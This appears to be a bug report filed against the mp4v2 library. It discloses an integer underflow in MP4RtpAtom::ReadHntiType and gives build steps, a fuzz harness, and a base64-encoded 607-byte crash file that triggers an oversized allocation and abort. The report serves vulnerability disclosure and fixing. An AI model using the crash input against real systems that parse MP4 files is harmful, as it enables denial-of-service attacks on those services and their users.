[Bug]Integer underflow in MP4RtpAtom::ReadHntiType requests a ~2^64-byte allocation when parsing an undersized 'rtp ' atom inside 'hnti' (CWE-190/CWE-789) #98

Describe the bug

When an rtp atom is a child of an hnti container, mp4v2 calls MP4RtpAtom::ReadHntiType() to read the SDP text. It first reads a 4-byte descriptionFormat property via ReadProperties(0, 1), then computes:

/* src/atom_rtp.cpp:128 */
uint64_t size = GetEnd() - m_File.GetPosition();

where GetEnd() is the absolute end offset declared in the atom header. If an attacker declares the rtp atom so small (e.g. a size field of just 8, i.e. header only) that the read position ends up past the atom's declared end after consuming those 4 bytes, GetEnd() - position underflows to a huge value (~2^64). The code then calls MP4Malloc(size) (src/mp4util.h:56) with that underflowed size, and ASan aborts with allocation-size-too-big (requested allocation size 0xfffffffffffffffd).

To Reproduce

1. Build mp4v2 with ASan + UBSan:

   git clone https://github.com/TechSmith/mp4v2.git
   cd mp4v2
   git checkout 6727d3c5faaf8b9db9214127f6e6d9e5e8cf95c1
   mkdir -p build && cd build
   cmake -DMP4V2_BUILD_SHARED=OFF \
         -DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-sanitize-recover=all -fno-omit-frame-pointer -g" \
         -DCMAKE_CXX_FLAGS="-fsanitize=address,undefined -fno-sanitize-recover=all -fno-omit-frame-pointer -g" \
         ..
   make -j"$(nproc)" mp4v2

2. Save this minimal harness as fuzz.cpp (feeds the MP4 bytes through mp4v2's memory-backed MP4FileProvider into the full atom parser):

   #include <mp4v2/mp4v2.h>
   #include <stdint.h>
   #include <stdio.h>
   #include <stdlib.h>
   #include <string.h>
   
   struct MemFile { const uint8_t* data; int64_t size; int64_t pos; };
   static const uint8_t* g_data; static size_t g_size;
   
   static void* provider_open(const char* name, MP4FileMode mode) { (void)name;(void)mode;
       MemFile* f = (MemFile*)malloc(sizeof(MemFile)); f->data = g_data; f->size = (int64_t)g_size; f->pos = 0; return f; }
   static int provider_seek(void* h, int64_t pos) { ((MemFile*)h)->pos = pos < 0 ? 0 : pos; return 0; }
   static int provider_read(void* h, void* buf, int64_t size, int64_t* nin, int64_t max) {
       (void)max; MemFile* f = (MemFile*)h; *nin = 0;
       if (size <= 0 || f->pos >= f->size) return 0;
       int64_t n = f->size - f->pos; if (size < n) n = size;
       memcpy(buf, f->data + f->pos, (size_t)n); f->pos += n; *nin = n; return 0; }
   static int provider_write(void* h, const void* b, int64_t s, int64_t* n, int64_t m) { (void)h;(void)b;(void)m; *n = s; return 0; }
   static int provider_close(void* h) { free(h); return 0; }
   static int64_t provider_size(void* h) { return ((MemFile*)h)->size; }
   
   int main(int argc, char** argv) {
       if (argc < 2) return 1;
       FILE* f = fopen(argv[1], "rb"); if (!f) return 1;
       fseek(f, 0, SEEK_END); long sz = ftell(f); fseek(f, 0, SEEK_SET);
       uint8_t* buf = (uint8_t*)malloc((size_t)sz);
       fread(buf, 1, (size_t)sz, f); fclose(f);
       g_data = buf; g_size = (size_t)sz;
       MP4FileProvider p; memset(&p, 0, sizeof(p));
       p.open = provider_open; p.seek = provider_seek; p.read = provider_read;
       p.write = provider_write; p.close = provider_close; p.size = provider_size;
       MP4FileHandle h = MP4ReadProvider("fuzz.m4a", &p);
       if (h != MP4_INVALID_FILE_HANDLE) { MP4Dump(h, false); MP4Close(h, 0); }
       free(buf);
       return 0;
   }

3. Compile and write the exact 607-byte crash input. The base64 string below round-trips to the byte-identical crash input (an MP4 whose moov/trak/mdia/minf/stbl/stsd contains an hnti container with an undersized rtp atom):

   clang++ -std=c++11 -O1 -g -fsanitize=address,undefined -fno-sanitize-recover=all -fno-omit-frame-pointer \
       -I include fuzz.cpp libmp4v2.a -o mp4v2_read_fuzzer -lpthread -lm
   
   printf 'AAAAFGZ0eXBpc29tAAACAGlzb20AAAJLbW9vdgAAAGxtdmhkAAAAAAAAAAAAAAAAAAAD6AAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAZF0cmFrAAAAXHRraGQAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAEtbWRpYQAAACBtZGhkAAAAAAAAAAAAAAAAAAAD6AAAAABVxAAAAAAAIWhkbHIAAAAAAAAAAGhpbnQAAAAAAAAAAAAAAAAAAAAA5G1pbmYAAAAcaG1oZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJGRpbmYAAAAcZHJlZnN0YmwAAAA0c3RzZAAAAAAAAAABAAAAJHJ0cCAAAAAAAAAAAQABAAEAAAIAAAAADHRpbXMAAAPoAAAAGHN0dHMAAAAAAAAAAQAAAAEAAAAoAAAAGHN0c3oAAAAAAAAAAAAAAAEAAAAQAAAAHHN0c2MAAAAAAAAAAQAAAAEAAAABAAAAAQAAABRzdGNvAAAAAAAAAAEAAAJ3AAAARnVkdGEAAAA+aG50aQAAADZydHAgc2RwIHY9MA0Kbz0tIDEgMSBJTiBJUDQgMTI3LjAuMC4xDQpzPXNlc3Npb24NCgAAABhtZGF0AAAAAAAAAAAAAAAAAAAAAA==' | base64 -d > poc.m4a

4. Run it:

   ./mp4v2_read_fuzzer poc.m4a

   ASan output:

   ==309629==ERROR: AddressSanitizer: requested allocation size 0xfffffffffffffffd (0x800 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0)
   SUMMARY: AddressSanitizer: allocation-size-too-big ... in malloc
   

   Exit code 1.

Expected behavior

ReadHntiType should validate that the rtp atom size is large enough before computing size = GetEnd() - position and calling MP4Malloc(size). An undersized rtp atom should be rejected with an error instead of requesting a ~2^64-byte allocation.

Screenshots

Please complete the following information:

• OS: Linux x86-64 (Ubuntu 22.04)
• mp4v2 version: 2.0.0 (commit 6727d3c5faaf8b9db9214127f6e6d9e5e8cf95c1)

Additional context

• Deterministic: yes — the same 607-byte input always triggers the ASan allocation-size-too-big abort.
• Root cause: integer underflow in MP4RtpAtom::ReadHntiType (src/atom_rtp.cpp:128) feeding MP4Malloc (src/mp4util.h:56) with an attacker-controlled, underflowed size.
• Reachability: any MP4 whose parse tree reaches an hnti container with an rtp child reaches this code (rtp/hint tracks).
• Severity: high. The attacker fully controls the allocation size; in a build without ASan this is an uncontrolled MP4Malloc request that aborts or fails allocation.
• CWE-190 (Integer Overflow or Wraparound) → CWE-789 (Uncontrolled Memory Allocation).